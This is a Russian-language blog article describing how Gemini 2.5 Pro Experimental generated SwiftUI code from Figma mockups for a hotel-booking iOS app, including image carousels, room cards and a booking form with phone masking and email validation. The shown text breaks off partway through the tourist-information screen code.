Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Google AI Studio: макеты Figma -> iOS приложение на Gemini 2.5 Experimental

Мне случайно попалось задание с собеседования 2-х годичной давности на позицию "iOS разработчик" , в котором требовалось создать iOS приложения для бронирования номера в Отеле на основе макетов экранов из Figma, в которых использовалась "карусель" из фото.

Я решила попробовать использовать ИИ для разработки такого iOS приложения по макетам из Figma. Прямо скажем, что текст на прототипах экранов не очень отчетливо виден, так что ИИ предстоит его сначала прочитать, а уже потом создать iOS приложение.

1f96f746bb933d6543d059c8897630d2.png

Для меня приоритетными ИИ при создании iOS приложений являются ChatGPT 4.o-mini, Claude 3.5 (3.7) Sonnet и Grok 3, ну, может быть, DeepSeek R1, но Gemini 1.5 таким не был, хотя предоставлял корректный, но не самый лаконичный и интересный код.

Однако Gemini всегда прекрасно читал тексты на изображениях ( в том числе на русском), кроме того, появилась более продвинутая Gemini 2.5 Pro Experimental - мультимодальная, рассуждающая ИИ модель, которую компания называет самой интеллектуальной моделью на сегодняшний день.

6c40e8b0b53166d9edeec196a47f7b0c.png

Так что у нас есть все шансы на успех.

Забегая вперед, сразу скажу, что Gemini 2.5 Experimental превзошел ожидания: точное воспроизведение Figma-макетов в SwiftUI (стили, функционал) + нешаблонный код, а изобретательные решения (FlexibleGridView и др.). Стартовый код — база для масштабируемого приложения с реализацией загрузки данных с сервера (REST API). Код находится на Github.

Вот как выглядит протокол взаимодействия с Gemini 2.5 Experimental в Google AI Studio:

Отель и категории номеров

340076a63fcf708db2335f6f4357a2f8.png3ac0d48f66579d5d4740cab8e230e789.png

Ответ Gemini 2.5 Experimental

Хорошо, давайте создадим SwiftUI структуру для этого приложения с информацией об отеле на основе ваших снимков экрана.

Мы создадим:

  1. Модели данных: для представления информации об отеле и номере.

  2. HotelDetailView: главный экран, на котором отображаются сведения об отеле, карусель изображений, описание и ссылки на другие разделы.

  3. AmenitiesView: View-заполнитель для сведений об удобствах.

  4. RoomSelectionView: экран для отображения различных категорий номеров с их подробностями и изображениями.

  5. RoomCardView: повторно используемое View для отображения одной карточки категории номера.

  6. Вспомогательные View: например, ImageCarouselView и SectionRow.

Код HotelDetailView
import SwiftUI

// MARK: - Data Models

struct Hotel: Identifiable {
    let id = UUID()
    let name: String
    let rating: Double
    let ratingName: String
    let address: String
    let minimalPrice: Int
    let priceForIt: String
    let imageUrls: [String] // Use image names from Assets or URLs
    let description: String
    let peculiarities: [String] // Like "3-я линия", "Платный Wi-Fi в фойе"
}

struct Room: Identifiable {
    let id = UUID()
    let name: String
    let price: Int
    let pricePer: String
    let peculiarities: [String] // Like "Все включено", "Кондиционер"
    let imageUrls: [String]
}


// MARK: - Content View (Root)

struct ContentView: View {
    // --- MOCK DATA ---
    // In a real app, this would come from a ViewModel/API
    let sampleHotel = Hotel(
        name: "Steigenberger Makadi", // Updated name based on screenshot 4
        rating: 5.0,
        ratingName: "Превосходно",
        address: "Madinat Makadi, Safaga Road, Makadi Bay, Египет",
        minimalPrice: 134673,
        priceForIt: "за тур с перелётом",
        imageUrls: ["hotel_placeholder_1", "hotel_placeholder_2", "hotel_placeholder_3", "hotel_placeholder_4", "hotel_placeholder_5", "hotel_placeholder_6", "hotel_placeholder_7"], // Add your image names
        description: "Отель VIP-класса с собственными гольф полями. Высокий уровень сервиса. Рекомендуем для респектабельного отдыха.",
        peculiarities: ["3-я линия", "Платный Wi-Fi в фойе", "30 км до аэропорта", "1 км до пляжа"]
    )

     let sampleRooms = [
        Room(name: "Стандартный с видом на бассейн или сад", price: 186600, pricePer: "за 7 ночей с перелётом", peculiarities: ["Все включено", "Кондиционер"], imageUrls: ["room1_image1", "room1_image2","room1_image3","room1_image4"]),
        Room(name: "Люкс с видом на море", price: 250000, pricePer: "за 7 ночей с перелётом", peculiarities: ["Все включено", "Кондиционер", "Мини-бар"], imageUrls: ["suite1_image1", "suite1_image2", "suite1_image3"])
        // Add more rooms
    ]
    // --- ---

    var body: some View {
        NavigationView {
            HotelDetailView(hotel: sampleHotel, rooms: sampleRooms)
        }
        // Optional: Use .accentColor for global tint if needed
        // .accentColor(.blue)
    }
}

// MARK: - Hotel Detail View

struct HotelDetailView: View {
    let hotel: Hotel
    let rooms: [Room] // Pass rooms data for navigation

    @State private var selectedImageIndex = 0

    var body: some View {
        ScrollView {
            VStack(alignment: .leading, spacing: 8) {
                // --- Section 1: Image Carousel, Basic Info ---
                VStack(alignment: .leading, spacing: 16) {
                    ImageCarouselView(imageUrls: hotel.imageUrls, 
                                      selectedIndex: $selectedImageIndex)
                        .frame(height: 250) // Adjust height as needed
                        .clipShape(RoundedRectangle(cornerRadius: 15)) // Rounded corners

                    HStack(spacing: 4) {
                        Image(systemName: "star.fill")
                            .foregroundColor(.orange)
                        Text("\(hotel.rating, specifier: "%.1f") \(hotel.ratingName)")
                            .foregroundColor(.orange)
                            .font(.system(size: 16, weight: .medium))
                    }

                    Text(hotel.name)
                        .font(.system(size: 22, weight: .medium))

                    Button {
                        // Action for address tap if needed (e.g., open map)
                        print("Address tapped")
                    } label: {
                        Text(hotel.address)
                            .font(.system(size: 14, weight: .medium))
                            .foregroundColor(.blue) // Link-like appearance
                    }

                    HStack(alignment: .bottom, spacing: 8) {
                         Text("от \(hotel.minimalPrice) ₽")
                            .font(.system(size: 30, weight: .semibold))
                         Text(hotel.priceForIt.lowercased())
                            .font(.system(size: 16, weight: .regular))
                            .foregroundColor(.secondary)
                            .padding(.bottom, 4) // Align baseline better
                    }

                }
                .padding(.horizontal)
                .padding(.vertical, 8) // Add some vertical padding
                .background(Color.white) // White background for this section
                .cornerRadius(15) // Rounded corners for the section


                 // --- Section 2: About the Hotel ---
                 VStack(alignment: .leading, spacing: 16) {
                    Text("Об отеле")
                        .font(.system(size: 22, weight: .medium))

                    // Peculiarities (Tags)
                    FlexibleGridView(data: hotel.peculiarities) { item in
                        Text(item)
                            .font(.system(size: 16, weight: .medium))
                            .foregroundColor(.gray)
                            .padding(.horizontal, 10)
                            .padding(.vertical, 5)
                            .background(Color(UIColor.systemGray6)) // Tag background
                            .cornerRadius(5)
                    }


                    Text(hotel.description)
                         .font(.system(size: 16, weight: .regular))

                    // --- Detail Buttons ---
                    VStack(spacing: 0) {
                         NavigationLink(destination: AmenitiesView()) { // Navigate to Amenities
                             SectionRow(iconName: "face.smiling",
                                        title: "Удобства",
                                        subtitle: "Самое необходимое")
                         }
                         Divider().padding(.leading, 45) // Indent divider
                         SectionRow(iconName: "checkmark.circle",
                                    title: "Что включено", 
                                    subtitle: "Основные услуги")
                         Divider().padding(.leading, 45)
                         SectionRow(iconName: "xmark.circle", 
                                    title: "Что не включено", 
                                    subtitle: "Дополнительные услуги")
                    }
                    .background(Color(UIColor.systemGray6))
                    .cornerRadius(15)
                    .padding(.top) // Add space before buttons


                 }
                 .padding(.horizontal)
                 .padding(.vertical, 8)
                 .background(Color.white)
                 .cornerRadius(15)
                 .padding(.top, 8) // Space between sections


            } // End Main VStack
        } // End ScrollView
        .background(Color(UIColor.systemGray6).ignoresSafeArea()) // Background for the whole screen
        .navigationBarTitleDisplayMode(.inline) // Keep title small
       .toolbar { // Hide the default back button text
            ToolbarItem(placement: .principal) {
                 Text(hotel.name) // Or just "Отель"
                    .font(.system(size: 18, weight: .medium))
            }
        }
        .safeAreaInset(edge: .bottom) {
             // --- Bottom Button ---
             NavigationLink(destination: 
                  RoomSelectionView(hotelName: hotel.name, rooms: rooms)) {
                  Text("К выбору номера")
                     .font(.system(size: 16, weight: .medium))
                     .foregroundColor(.white)
                     .frame(maxWidth: .infinity)
                     .padding()
                     .background(Color.blue)
                     .cornerRadius(15)
             }
             .padding(.horizontal)
             .padding(.top, 8) // Add space above button
             .background( // Add a white background behind the button area
                 Color.white
                    .ignoresSafeArea(edges: .bottom) // Extend white to screen bottom edge
             )
         }
    }
}

// MARK: - Image Carousel View

struct ImageCarouselView: View {
    let imageUrls: [String]
    @Binding var selectedIndex: Int

    var body: some View {
        TabView(selection: $selectedIndex) {
            ForEach(0..<imageUrls.count, id: \.self) { index in
                Image(imageUrls[index]) // Assumes images are in Assets
                    .resizable()
                    .scaledToFill()
                    // .aspectRatio(contentMode: .fill) // Alternative scaling
                    .tag(index)
                    // Add error handling/placeholder if needed
                    .overlay{
                        VStack {
                            Spacer()
                            HStack {
                                Spacer()
                                Text("\(index + 1) / \(imageUrls.count)")
                                    .bold()
                                    .foregroundStyle(Color.white)
                                    .padding(.horizontal, 45)
                            }
                            .padding()
                        }
                    }
            }
        }
        .tabViewStyle(.page(indexDisplayMode: .never)) // Hide default dots
        .overlay(
            // Custom Pagination Dots
            HStack(spacing: 8) {
                ForEach(0..<imageUrls.count, id: \.self) { index in
                    Circle()
                        .fill(selectedIndex == index ? Color.black : Color.gray.opacity(0.7))
                        .frame(width: 7, height: 7)
                }
            }
            .padding(.horizontal, 12)
            .padding(.vertical, 8)
            .background(Color.white.opacity(0.9))
            .cornerRadius(5)
            .padding(.bottom, 10) // Position dots from bottom
            , alignment: .bottom // Align dots at the bottom
        )
    }
}

// MARK: - Section Row Helper View

struct SectionRow: View {
    let iconName: String
    let title: String
    let subtitle: String

    var body: some View {
        HStack(spacing: 12) {
            Image(systemName: iconName)
                .resizable()
                .scaledToFit()
                .frame(width: 24, height: 24)
                .foregroundColor(.primary.opacity(0.9))

            VStack(alignment: .leading) {
                Text(title)
                    .font(.system(size: 16, weight: .medium))
                    .foregroundColor(.primary)
                Text(subtitle)
                    .font(.system(size: 14, weight: .regular))
                    .foregroundColor(.secondary)
            }
            Spacer()
            Image(systemName: "chevron.right")
                .foregroundColor(.secondary)
        }
        .padding(.horizontal)
        .padding(.vertical, 10)
    }
}


// MARK: - Amenities View (Placeholder)

struct AmenitiesView: View {
    var body: some View {
        ScrollView { // Make it scrollable in case content grows
            VStack {
                 Text("Details about Удобства")
                     .padding()
                 // Add actual amenity details here (Lists, Grids, etc.)
                 Spacer()
            }
        }
        .navigationTitle("Удобства") // Standard navigation title
        .navigationBarTitleDisplayMode(.inline)
    }
}

// MARK: - Room Selection View

struct RoomSelectionView: View {
    let hotelName: String
    let rooms: [Room]

    var body: some View {
        ScrollView {
            VStack(spacing: 8) {
                ForEach(rooms) { room in
                    RoomCardView(room: room)
                }
            }
            .padding(.vertical) // Add padding top/bottom inside scrollview
        }
        .navigationTitle(hotelName) // Use hotel name as title
        .navigationBarTitleDisplayMode(.inline)
        .background(Color(UIColor.systemGray6).ignoresSafeArea()) // Match background
    }
}

// MARK: - Room Card View

struct RoomCardView: View {
    let room: Room
    @State private var selectedImageIndex = 0 // Each card manages its own carousel state

    var body: some View {
        VStack(alignment: .leading, spacing: 16) {
            ImageCarouselView(imageUrls: room.imageUrls, 
                              selectedIndex: $selectedImageIndex)
                 .frame(height: 200) // Adjust height
                 .clipShape(RoundedRectangle(cornerRadius: 15))

            Text(room.name)
                 .font(.system(size: 22, weight: .medium))

             // Peculiarities (Tags)
            FlexibleGridView(data: room.peculiarities) { item in
                Text(item)
                    .font(.system(size: 16, weight: .medium))
                    .foregroundColor(.gray)
                    .padding(.horizontal, 10)
                    .padding(.vertical, 5)
                    .background(Color(UIColor.systemGray6))
                    .cornerRadius(5)
            }

             // Room Price
             HStack(alignment: .bottom, spacing: 8) {
                  Text("\(room.price) ₽")
                     .font(.system(size: 30, weight: .semibold))
                  Text(room.pricePer.lowercased())
                     .font(.system(size: 16, weight: .regular))
                     .foregroundColor(.secondary)
                     .padding(.bottom, 4)
             }

             // Choose Room Button
             Button {
                 // Action for selecting THIS specific room
                 print("Selected room: \(room.name)")
             } label: {
                   Text("Выбрать номер")
                      .font(.system(size: 16, weight: .medium))
                      .foregroundColor(.white)
                      .frame(maxWidth: .infinity)
                      .padding()
                      .background(Color.blue)
                      .cornerRadius(15)
             }

        }
        .padding()
        .background(Color.white)
        .cornerRadius(15)
        .padding(.horizontal) // Add horizontal space between cards and screen edge
    }
}


// MARK: - Flexible Grid View (Helper for Tags)

struct FlexibleGridView<Data: Collection, Content: View>: View where Data.Element: Hashable {
    let data: Data
    let spacing: CGFloat
    let alignment: HorizontalAlignment
    let content: (Data.Element) -> Content
    @State private var availableWidth: CGFloat = 0

    init(data: Data, spacing: CGFloat = 8, alignment: HorizontalAlignment = .leading, @ViewBuilder content: @escaping (Data.Element) -> Content) {
        self.data = data
        self.spacing = spacing
        self.alignment = alignment
        self.content = content
    }

    var body: some View {
    ZStack(alignment: Alignment(horizontal: alignment, vertical: .center)) {
            Color.clear
                .frame(height: 1)
                .readSize { size in
                    availableWidth = size.width
                }

            _FlexibleGrid(
                availableWidth: availableWidth,
                data: data,
                spacing: spacing,
                alignment: alignment,
                content: content
            )
        }
    }
}

struct _FlexibleGrid<Data: Collection, Content: View>: View where Data.Element: Hashable {
    let availableWidth: CGFloat
    let data: Data
    let spacing: CGFloat
    let alignment: HorizontalAlignment
    let content: (Data.Element) -> Content
    @State var elementsSize: [Data.Element: CGSize] = [:]

    var body: some View {
        VStack(alignment: alignment, spacing: spacing) {
            ForEach(computeRows(), id: \.self) { rowElements in
                HStack(spacing: spacing) {
                    ForEach(rowElements, id: \.self) { element in
                        content(element)
                            .fixedSize()
                            .readSize { size in
                                elementsSize[element] = size
                            }
                    }
                }
            }
        }
    }

    func computeRows() -> [[Data.Element]] {
        var rows: [[Data.Element]] = [[]]
        var currentRow = 0
        var remainingWidth = availableWidth

        for element in data {
            let elementSize = elementsSize[element, default: CGSize(width: availableWidth, height: 1)]

            if remainingWidth - (elementSize.width + spacing) >= 0 {
                rows[currentRow].append(element)
            } else {
                currentRow += 1
                rows.append([element])
                remainingWidth = availableWidth
            }
            remainingWidth -= (elementSize.width + spacing)
        }
        return rows
    }
}

// Helper to read view size
struct SizePreferenceKey: PreferenceKey {
    static var defaultValue: CGSize = .zero
    static func reduce(value: inout CGSize, nextValue: () -> CGSize) {}
}
extension View {
    func readSize(onChange: @escaping (CGSize) -> Void) -> some View {
        background(
            GeometryReader { geometryProxy in
                Color.clear
                    .preference(key: SizePreferenceKey.self, value: geometryProxy.size)
            }
        )
        .onPreferenceChange(SizePreferenceKey.self, perform: onChange)
    }
}

#Preview {
    ContentView()
}

Объяснение:

Модели данных (Hotel, Room): простые структуры struct для хранения данных об отелях и номерах. Identifiable нужен для использования в ForEach. Для простоты показана статическая модель. В реальном приложении данные могут приходить из API или базы данных.

2. HotelApp & ContentView: стандартная точка входа в приложение SwiftUI. ContentView настраивает NavigationView и инициализирует начальное View (HotelDetailView) с помощью тестовых данных.

3. HotelDetailView:

  • Использует ScrollView и VStack, для размещения по вертикали любого контента.

  • Включает ImageCarouselView.

  • Отображает рейтинг, имя, адрес (в виде кнопки), цену для этого отеля.

  • Добавляет раздел «Об отеле» с тегами (используя FlexibleGridView) и описанием.

  • Использует NavigationLink и SectionRow для разделов «Удобства», «Что включено», «Что не включено».

  • Большая синяя кнопка «К выбору номера» размещена внизу с помощью .safeAreaInset(edge: .bottom), чтобы она оставалась видимой и слегка перекрывала прокручиваемое содержимое. Это NavigationLink для RoomSelectionView.

  • .navigationBarTitleDisplayMode(.inline) сохраняет компактность панели навигации.

4. ImageCarouselView:

  • Использует TabView с .tabViewStyle(.page).

  • .page(indexDisplayMode: .never) скрывает точки страницы по умолчанию.

  • Добавляется наложение для создания внизу пользовательских точек страниц, привязанных к переменной @State selectedIndex.

5. SectionRow: Многоразовое View для выбираемых строк, показывающих детали («Удобства», «Что включено» и т. д.). Включает иконку, заголовок, подзаголовок и шеврон.

6. AmenitiesView: Простое View-заполнитель. Вы можете заменить Text фактическим списком удобств.

7. RoomSelectionView:

  • Принимает hotelName (для заголовка) и массив объектов Room.

  • Использует ScrollView и VStack для размещения нескольких RoomCardViews.

  • Устанавливает заголовок навигации .navigationTitle.

8. RoomCardView:

  • Отображает сведения об одном номере Room, включая его собственный ImageCarouselView.

  • Показывает имя, теги (FlexibleGridView), цену и кнопку «Выбрать номер», характерную для этого номера.

  • Стилизовано с отступами, фоном и радиусом угла, чтобы выглядеть как карточка.

9. FlexibleGridView и другие: вспомогательное View для динамического размещения тегов, переносит их на следующую строку, если они не помещаются по горизонтали. Включает помощника модификатора readSize.

10. Заполнители: не забудьте заменить «hotel1», «room1» и т. д. фактическими именами ваших изображений в файле Assets.xcassets.

Эта структура обеспечивает прочную основу, соответствующую дизайну, показанному на ваших снимках экрана. Теперь вы можете заполнить ее реальными данными (потенциально полученными из API с помощью ViewModel) и дополнительно уточнить детали UI.

Вот какой результат мы получили:

Экран с отелем:

393512f89929cb45ca205e1db9d1406c.png

Переход к выбору категории номера:

abca3fa0a79a12d308ce4ddff021e3fd.png

Дополнительная информация об удобствах:

428f56abc35a37b1233f1e4eec05ae13.png

А вот как работают "карусели" фотографий как для самого отеля, так и для различных категорий номеров:

6cf1bd6df650f52893f6a9f63d0611d1.gif
  • Итоги работы с Gemini 2.5 + мвкеты Figma:

    1. Точность воспроизведения макетов Figma в SwiftUI:
      — Экран отеля и категорий номеров воссозданы на SwiftUI с сохранением стилей текста, функционала и локализации (русский язык).

    2. Автономная генерация данных:
      — Gemini 2.5 самостоятельно сформировала структуру тестовых данных без внешних API.

    3. Архитектура кода:
      — Лаконичный SwiftUI код с TabView для "карусели" фотографий и повторно используемыми компонентами: SectionView, ImageCarouselView.
      — Инновационный FlexibleGridView для адаптивного отображения элементов удобств.

    4. Ресурсы:
      — Тестовые изображения интегрированы через Assets.xcassets.

    Что улучшить:
    — Реализовать загрузку данных с сервера (REST API).
    — Оптимизировать передачу данных между View.
    — Усилить обработку ошибок и читаемость кода.

    Резюме: Стартовый код готов к доработке, демонстрируя высокий потенциал Gemini 2.5 в преобразовании Figma-макетов в рабочий iOS-код.

Вдохновившись таким результатом, давайте продолжим и создадим экран для бронирования номера отеля.

Бронирование номера отеля (часть 1)

Прототип экрана из Figma:

f89e55acc6fc281e2de5493b00502de9.png

Делаем запрос Gemini 2.5 Experimental 03-25

39da8898d81c865502446313871c6acb.pngc481ecccc2bbc86ac003028d65debf09.png

Ответ Gemini 2.5 Experimental

Хорошо, давайте создадим SwiftUI View для экрана c информацией о бронировании, включив маску для номера телефона и проверку адреса электронной почты.

Мы разобьем его на компоненты:

  • BookingInfoView: основное View контейнера.

  • Вспомогательные Views: для отдельных блоков (отель, сведения о бронировании, информация о покупателе).

  • Логика форматирования номера телефона: использование @State и .onReceive, который является ключом к тому, чтобы шаблон работал в режиме реального ввода.

  • Логика проверки адреса электронной почты: использование @State, .onChangeи простого регулярного выражения.

Код BookingInfoView
import SwiftUI
import Combine // Needed for keyboard observers if we wanted more advanced focus handling

// MARK: - Data Models (Simple representations for the example)

struct HotelBookingInfo {
    let ratingValue: Int = 5
    let ratingName: String = "Превосходно"
    let hotelName: String = "Steigenberger Makadi"
    let hotelAddress: String = "Madinat Makadi, Safaga Road, Makadi Bay, Египет"
}

struct BookingDetails {
    let departureCity: String = "Санкт-Петербург"
    let countryCity: String = "Египет, Хургада"
    let dates: String = "19.09.2023 - 27.09.2023"
    let nights: String = "7 ночей"
    let hotelName: String = "Steigenberger Makadi"
    let roomType: String = "Стандартный с видом на бассейн или сад"
    let mealPlan: String = "Все включено"
}

// MARK: - Main Booking Info View

struct BookingInfoView: View {
    // --- State Variables ---
    @State private var phoneNumber: String = "" // Stores the RAW digits (max 10)
  //  @State private var displayedPhoneNumber: String = "+7 " // What the user sees/edits
    @State private var email: String = ""
    @State private var isEmailValid: Bool = true // Assume valid initially or until typed

    // --- Data ---
    let hotelInfo = HotelBookingInfo()
    let bookingDetails = BookingDetails()

    // --- Environment ---
    @Environment(\.presentationMode) var presentationMode

    var body: some View {
        NavigationView {
            ScrollView {
                VStack(spacing: 8) { // Spacing between blocks
                    HotelInfoBlock(info: hotelInfo)
                    BookingDetailsBlock(details: bookingDetails)
                    BuyerInfoBlock(
                        phoneNumber: $phoneNumber,
                        email: $email,
                        isEmailValid: $isEmailValid
                    )

                    Spacer() // Pushes content up if screen is tall
                }
                .padding(.horizontal) // Padding for the whole content stack
                .padding(.top)      // Padding from the navigation bar
            }
            .background(Color(UIColor.systemGray6)) // Background for the whole screen
            .navigationTitle("Бронирование")
            .navigationBarTitleDisplayMode(.inline)
            .toolbar {
                ToolbarItem(placement: .navigationBarLeading) {
                    Button {
                        presentationMode.wrappedValue.dismiss()
                    } label: {
                        Image(systemName: "chevron.left")
                    }
                    .tint(.primary) // Ensure back button has default color
                }
            }
        }
    }
}

// MARK: - Block Views

struct HotelInfoBlock: View {
    let info: HotelBookingInfo

    var body: some View {
        VStack(alignment: .leading, spacing: 8) {
            HStack(spacing: 4) {
                Image(systemName: "star.fill")
                Text("\(info.ratingValue) \(info.ratingName)")
            }
            .font(.system(size: 16, weight: .medium))
            .foregroundColor(.orange)
            .padding(.horizontal, 10)
            .padding(.vertical, 5)
            .background(Color.orange.opacity(0.15))
            .cornerRadius(5)

            Text(info.hotelName)
                .font(.system(size: 22, weight: .medium))

            Text(info.hotelAddress)
                .font(.system(size: 14, weight: .regular))
                .foregroundColor(.blue) // Link-like appearance
        }
        .padding()
        .frame(maxWidth: .infinity, alignment: .leading) // Take full width
        .background(Color.white)
        .cornerRadius(12)
    }
}

struct BookingDetailsBlock: View {
    let details: BookingDetails

    var body: some View {
        VStack(alignment: .leading, spacing: 16) { // Increased spacing between rows
            BookingDetailRow(label: "Вылет из", value: details.departureCity)
            BookingDetailRow(label: "Страна, город", value: details.countryCity)
            BookingDetailRow(label: "Даты", value: details.dates)
            BookingDetailRow(label: "Кол-во ночей", value: details.nights)
            BookingDetailRow(label: "Отель", value: details.hotelName)
            BookingDetailRow(label: "Номер", value: details.roomType)
            BookingDetailRow(label: "Питание", value: details.mealPlan)
        }
        .padding()
        .frame(maxWidth: .infinity, alignment: .leading)
        .background(Color.white)
        .cornerRadius(12)
    }
}

// Helper for Booking Details rows
struct BookingDetailRow: View {
    let label: String
    let value: String

    var body: some View {
        HStack(alignment: .top) { // Align top for potentially multi-line values
            Text(label)
                .font(.system(size: 16))
                .foregroundColor(.secondary)
                .frame(width: 110, alignment: .leading) // Fixed width for labels

            Text(value)
                .font(.system(size: 16))
                .foregroundColor(.primary)
                .frame(maxWidth: .infinity, alignment: .leading) // Take remaining space
        }
    }
}

struct BuyerInfoBlock: View {
    @Binding var phoneNumber: String // Raw digits
  //  @Binding var displayedPhoneNumber: String // Formatted for display/edit
    @Binding var email: String
    @Binding var isEmailValid: Bool
    
    @State var isValid: Bool = false
    let phoneRegex = try! NSRegularExpression(pattern: #"^\+7 \(\d{3}\) \d{3}-\d{2}-\d{2}$"#)

    var body: some View {
        VStack(alignment: .leading, spacing: 20) { // Space between title and fields
            Text("Информация о покупателе")
                .font(.system(size: 22, weight: .medium))

            VStack(alignment: .leading, spacing: 8) { // Space within the fields group
                Text("Номер телефона")
                    .font(.system(size: 12))
                    .foregroundColor(.secondary)
                    .padding(.leading, 12) // Indent label slightly

                TextField("", text: $phoneNumber, prompt: Text("+7 (***) *** - ** - **").foregroundColor(.gray))
                    .keyboardType(.numberPad)
                    .onReceive(Just(phoneNumber)) { newValue in
                        if !phoneNumber.isEmpty {
                            phoneNumber = formatPhoneNumber(newValue)
                            validatePhoneNumber(newValue)
                        }
                    }
                    .onAppear{
                        UITextField.appearance().clearButtonMode = .whileEditing
                    }
                    .padding()
                    .background(Color(.systemGray6))
                    .cornerRadius(8)
                
                if !isValid {
                    Text("Invalid format. Example: +7 (901) 555-66-77")
                        .foregroundColor(.red)
                        .font(.caption)
                }

                Text("Почта")
                    .font(.system(size: 12))
                    .foregroundColor(.secondary)
                    .padding(.leading, 12)

                TextField("[email protected]", text: $email)
                    .keyboardType(.emailAddress)
                    .autocapitalization(.none)
                    .disableAutocorrection(true)
                    .padding(.horizontal, 12)
                    .padding(.vertical, 10)
                    .background(isEmailValid ? Color(UIColor.systemGray6) : Color.red.opacity(0.15)) // Visual validation feedback
                    .cornerRadius(10)
                    .overlay( // Optional: Add border for invalid state
                        RoundedRectangle(cornerRadius: 10)
                       .stroke(isEmailValid ? Color.clear : Color.red, 
                                   lineWidth: 1)
                    )
                    .onChange(of: email) { _, newValue in
                        // Validate only if email is not empty
                        if !newValue.isEmpty {
                             isEmailValid = isValidEmail(newValue)
                        } else {
                            isEmailValid = true // Consider empty as valid or neutral
                        }
                    }
            }

            Text("Эти данные никому не передаются. После оплаты мы вышли чек на указанный вами номер и почту")
                .font(.system(size: 14))
                .foregroundColor(.secondary)

        }
        .padding()
        .frame(maxWidth: .infinity, alignment: .leading)
        .background(Color.white)
        .cornerRadius(12)
    }

    // MARK: Phone Masking Logic
    // Formats the input string to the template: +7 (XXX) XXX-XX-XX.
    private  func formatPhoneNumber(_ number: String) -> String {
            // Remove any non-digit characters.
            let digitsOnly = number.filter { $0.isNumber }
            var cleanedNumber = digitsOnly
            
            // If the first digit is 7 or 8, remove it.
            if let first = cleanedNumber.first, first == "7" || first == "8" {
                cleanedNumber.removeFirst()
            }
            
            // Limit to 10 digits.
            if cleanedNumber.count > 10 {
                cleanedNumber = String(cleanedNumber.prefix(10))
            }
            
            // Start with the fixed +7 prefix.
            var formatted = "+7 "
            
            // Create the area code part.
            if !cleanedNumber.isEmpty {
                formatted += "("
                let areaCodeEnd = min(3, cleanedNumber.count)
                let areaCode = cleanedNumber.prefix(areaCodeEnd)
                formatted += areaCode
                if areaCode.count == 3 {
                    formatted += ") "
                }
            }
            
            // Next 3 digits.
            if cleanedNumber.count > 3 {
                let startIndex = cleanedNumber.index(cleanedNumber.startIndex, offsetBy: 3)
                let endIndex = cleanedNumber.index(startIndex, offsetBy: min(3, cleanedNumber.count - 3))
                let firstThree = cleanedNumber[startIndex..<endIndex]
                formatted += firstThree
                if firstThree.count == 3 {
                    formatted += "-"
                }
            }
            
            // Next 2 digits.
            if cleanedNumber.count > 6 {
                let startIndex = cleanedNumber.index(cleanedNumber.startIndex, offsetBy: 6)
                let endIndex = cleanedNumber.index(startIndex, offsetBy: min(2, cleanedNumber.count - 6))
                let nextTwo = cleanedNumber[startIndex..<endIndex]
                formatted += nextTwo
                if nextTwo.count == 2 {
                    formatted += "-"
                }
            }
            
            // Last 2 digits.
            if cleanedNumber.count > 8 {
                let startIndex = cleanedNumber.index(cleanedNumber.startIndex, offsetBy: 8)
                let endIndex = cleanedNumber.index(startIndex, offsetBy: min(2, cleanedNumber.count - 8))
                let lastTwo = cleanedNumber[startIndex..<endIndex]
                formatted += lastTwo
            }
            
            return formatted
        }
    
    private func validatePhoneNumber(_ number: String) {
        let range = NSRange(location: 0, length: number.utf16.count)
        // Check if the entire string matches the regular expression
        isValid = phoneRegex.firstMatch(in: number, options: [], range: range) != nil
    }

     // MARK: Email Validation Logic
     private func isValidEmail(_ email: String) -> Bool {
         // Simple regex for basic email format validation
         let emailFormat = "[A-Z0-9a-z._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,64}"
         let emailPredicate = NSPredicate(format:"SELF MATCHES %@", emailFormat)
         return emailPredicate.evaluate(with: email)
     }
}


// MARK: - Preview

#Preview {
        BookingInfoView()
}

Ключевые пояснения:

  1. Управление состоянием: переменные @State (phoneNumber, email, isEmailValid) используются в BookingInfoView и передаются как @Bindings в BuyerInfoBlock, где они фактически используются в TextFields.

  2. Маска для телефонного номера (formatPhoneNumber):

    • Она активируется .onReceive(Just(phoneNumber)).

    • Модификатор .onReceive отслеживает изменения состояния phoneNumber: всякий раз, когда phoneNumber изменяется, вызывается функция форматирования formatPhoneNumber), и phoneNumber обновляется замаскированной версией.

    • TextField,формирующий номер телефона по мере ввода пользователем, следует шаблону +7 (XXX) XXX-XX-XX.

    • В этом примере пользователь должен вводить цифры без начальных 7 или 8, и код удаляет любые такие цифры, если они присутствуют в начале ввода.

    • formatPhoneNumber извлекает только числовые символы, ограничивает запись 10 цифрами (после удаления начальных 7 или 8), а затем применяет маску.

  3. Проверка электронной почты (isValidEmail):

    • Простая вспомогательная функция isValidEmail(_ email: String) использует NSPredicate с общим регулярным выражением электронной почты.

    • .onChange(of: email) запускает проверку.

    • Цвет фона (и необязательная граница) текстового поля электронной почты изменяется в зависимости от состояния isEmailValid, обеспечивая визуальную обратную связь.

    • Проверка происходит только в том случае, если поле не пустое.

  4. Навигация: стандартный NavigationView со встроенным заголовком и настраиваемой кнопкой «Back» на панели инструментов.

Теперь у вас есть функциональное SwiftUI View, которое повторяет дизайн из Figma и включает заданное поведение полей ввода. Не забудьте заменить данные заполнителя (HotelBookingInfo, BookingDetails) на ваш фактический источник данных.

Вот как функционирует BookingInfoView для бронирования номера:

62043b5e92472e7e9059daf11ce192ca.gif

Бронирование номера отеля (часть 2)

Прототип экрана из Figma:

77c6736b128394d031bc164b4abb5e12.png

Делаем запрос Gemini 2.5 Experimental 03-25

d2d97c71c92e891092b514c8b7e698aa.pngd0d23f66153a66f1920eb5b2515b9380.png

Ответ Gemini 2.5 Experimental

Хорошо, давайте создадим SwiftUI View для ввода туристической информации о туристах и отображения окончательноой разбивки цен, включая сворачиваемые разделы и возможность динамического добавления туристов

код TouristInfoView
import SwiftUI

// MARK: - Data Models

struct Tourist: Identifiable {
    let id = UUID() // Necessary for ForEach
    var isExpanded: Bool = true // State for collapsing/expanding

    // Form fields
    var firstName: String = ""
    var lastName: String = ""
    var dateOfBirth: String = "" // Could use Date type later
    var citizenship: String = ""
    var passportNumber: String = ""
    var passportExpiry: String = "" // Could use Date type later
}

struct PricingInfo {
